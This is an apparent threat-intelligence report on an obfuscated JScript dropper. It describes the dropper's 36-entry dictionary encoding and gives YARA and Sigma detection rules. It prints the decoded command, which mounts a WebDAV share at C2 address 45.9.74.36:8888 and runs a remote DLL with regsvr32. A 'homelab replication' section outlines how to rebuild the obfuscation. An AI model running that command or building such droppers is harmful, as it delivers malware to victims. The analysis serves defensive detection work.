unclassified-js-webdav-dropper: d0124d62 — 36-entry dictionary JS, WebDAV C2 45.9.74.36:8888, payload 1783941328258.dll

Executive Summary

A 4.6 KB JScript dropper using a 36-entry dictionary-lookup obfuscation engine. It assembles a cmd /k net use ... && regsvr32 /s ... command at runtime via Function('return this')() to access WScript.Shell. Shares C2 45.9.74.36:8888 with siblings fa7e181d, cb5d302f, f170f5a9, and others. No PowerShell wrapper, no wordpad decoy, no sandbox gate. Fifteenth confirmed sibling in the family. Static-only analysis (JS, not a binary; CAPE skipped).

What It Is

• File type: ASCII text, 36 lines, CRLF terminators, very long lines (3,481 chars) ^[file.txt]
• Size: 4,638 bytes ^[metadata.json]
• Filename: 27791186681807118179.js ^[metadata.json]
• SHA-256: d0124d62f526f1ba31cd9c13c517e4cf208c5871df148ed35700149918a07e96
• Family: unclassified-js-webdav-dropper — confirmed sibling by shared C2, shared execution chain, and shared obfuscation pattern.

How It Works

1. Dictionary build. A wktmaefgc object maps 36 random-character keys to single ASCII characters (letters a-z, digits 0-9). ^[strings.txt:1-36]
2. Decoy try/catch. try{giaygpkctklcjwbuuus();}catch(eypzzdqlxrlqaoj){...} — the function name is undefined, forcing the catch path every time.
3. Global object access. Function('return this')() resolves to the global WScript object in Windows Script Host.
4. String assembly. Character-by-character concatenation of dictionary lookups assembles:
   • WScript.Shell → WScript.CreateObject('WScript.Shell') → .Run(...)
   • The .Run() argument is the full command string, decoded via the same dictionary.
5. Execution chain. Decoded command:

   cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\45.9.74.36@8888\davwwwroot\1783941328258.dll
   

No persistence mechanism, no sandbox gate, no decoy application launch. One-shot execution.

Decompiled Behavior

N/A — not a binary. No Ghidra/radare2 surface. The obfuscation engine is fully recoverable via manual dictionary substitution and regex-based string reconstruction. A Python decoder is included in the repository at /tmp/decode_js2.py (run during analysis). ^[terminal:decode]

C2 Infrastructure

Interesting Tidbits

• Dictionary key style: Random noise strings (e.g., nxjvhshp, wuercfhqseamqzuu, qvfegmbqaewchy) — 15–21 characters, no semantic content. Contrasts with the alliterative three-word English phrases used by siblings cc90d6c and ccb2d007. ^[strings.txt]
• Dictionary size: 36 entries — same cardinality as e6ebae6a, fa7e181d, and cb5d302f, but smaller than the 62-entry alliterative variant used by cc90d6c and ccb2d007. This suggests at least two obfuscation dialects in the family's dictionary engine: a 36-entry short-key variant and a 62-entry alliterative variant.
• No PowerShell wrapper: Unlike fb353965 and cc90d6c, this sample does not wrap the command in a powershell.exe -EncodedCommand call. Execution is direct via WScript.Shell.Run. ^[terminal:decode]
• No wordpad decoy: Unlike most batch-dialect siblings, no wordpad or notepad decoy is launched. ^[terminal:decode]
• No sandbox gate: Unlike the Brazilian JS dropper cluster (unclassified-js-dropper), there is no aspnet_compiler process-list check or debugger detection. ^[terminal:decode]
• Payload filename convention: 16-digit numeric string (1783941328258) + .dll. Siblings use 5-digit, 14-digit, and 17-digit numeric names. This is inconsistent across the cluster, suggesting either random generation or manual assignment.
• CRLF line terminators: The file uses Windows-style CRLF, consistent with a Windows-origin build environment. ^[file.txt]

How To Mess With It (Homelab Replication)

1. Build the dictionary. Generate 36 random 15–21 character strings and map each to a single ASCII character (a-z, 0-9).
2. Encode the payload. Split a cmd /k net use ... && regsvr32 /s ... command into character-by-character dictionary lookups.
3. Wrap in decoy. Use try{undefinedFunction();}catch(e){...} to force the catch path.
4. Test against EDR. Static string detection will fail. Behavioral detection (monitoring wscript.exe spawning cmd.exe → regsvr32.exe with a UNC path) will catch it.
5. Verification: Compare your encoded script against the capa fingerprint of this sample — no capa hit possible (JS, not PE), but the behavioral chain is identical to all family siblings.

Deployable Signatures

YARA Rule (Script-Engine Behavioral Detection)

rule js_webdav_dropper_dictionary {
    meta:
        description = "JScript WebDAV dropper with dictionary lookup obfuscation and regsvr32 /s UNC execution"
        author = "PacketPursuit"
        family = "unclassified-js-webdav-dropper"
        date = "2026-06-24"
        sha256 = "d0124d62f526f1ba31cd9c13c517e4cf208c5871df148ed35700149918a07e96"
    strings:
        $dict_pattern = /\w+\['\w+'\]='.';/
        $func_return_this = "Function(''+" nocase
        $davwwwroot = "davwwwroot" nocase
        $regsvr32 = "regsvr32" nocase
        $net_use = "net use" nocase
    condition:
        filesize < 15KB and
        #dict_pattern > 20 and
        $func_return_this and
        $davwwwroot and
        $regsvr32 and
        $net_use
}

Sigma Rule (Process Creation)

title: WebDAV Regsvr32 DLL Sideloading via JScript
description: Detects wscript.exe spawning cmd.exe with net use and regsvr32 /s targeting a WebDAV UNC path
status: experimental
logsource:
  product: windows
  category: process_creation
detection:
  selection_wscript:
    ParentImage|endswith: 'wscript.exe'
    CommandLine|contains:
      - 'net use'
      - 'regsvr32 /s'
      - 'davwwwroot'
  condition: selection_wscript
falsepositives:
  - Legitimate IT scripts using WebDAV for software distribution (rare)
level: high

IOC List

Behavioral Fingerprint

This JScript dropper initializes a character dictionary (36 entries) via a try/catch decoy, then assembles a cmd /k net use \\45.9.74.36@8888\davwwwroot\ && regsvr32 /s \\...\1783941328258.dll command at runtime using Function('return this')() to access WScript.Shell. It executes without persistence, sandbox gates, or decoy applications. The behavioral signature is: a 36-line JS file with CRLF terminators, 3,481-character lines, 20+ dictionary assignments, and the davwwwroot + regsvr32 string fragments present in the source.

Detection Signatures (CAPE / capa)

N/A — not a PE binary. capa and floss rejected the input. ^[capa.txt] ^[floss.txt]

References

• unclassified-js-webdav-dropper — family entity page
• js-dictionary-char-lookup-obfuscation — technique page for the obfuscation engine
• webdav-regsvr32-dll-sideloading — technique page for the execution chain
• Siblings: fa7e181d (same C2, same chain), cb5d302f (same C2, same chain), cc90d6c (same family, 62-entry alliterative variant), fb353965 (split-C2, PowerShell wrapper)

Provenance

• file.txt — file utility (file type) ^[file.txt]
• metadata.json — triage metadata (filename, size, SHA-256) ^[metadata.json]
• strings.txt — raw source strings (dictionary assignments, command fragments) ^[strings.txt]
• capa.txt — Mandiant capa (unsupported format) ^[capa.txt]
• floss.txt — FireEye floss (unsupported format) ^[floss.txt]
• binwalk.txt — empty (text file, no embedded artifacts) ^[binwalk.txt]
• rabin2-info.txt — radare2 header (text file, no PE) ^[rabin2-info.txt]
• Terminal analysis — Python decoder script (/tmp/decode_js2.py) reconstructed the full execution chain via regex-based dictionary substitution and string assembly. No binary tools (Ghidra, radare2) were applicable. Static-only. CAPE skipped (not a supported binary class).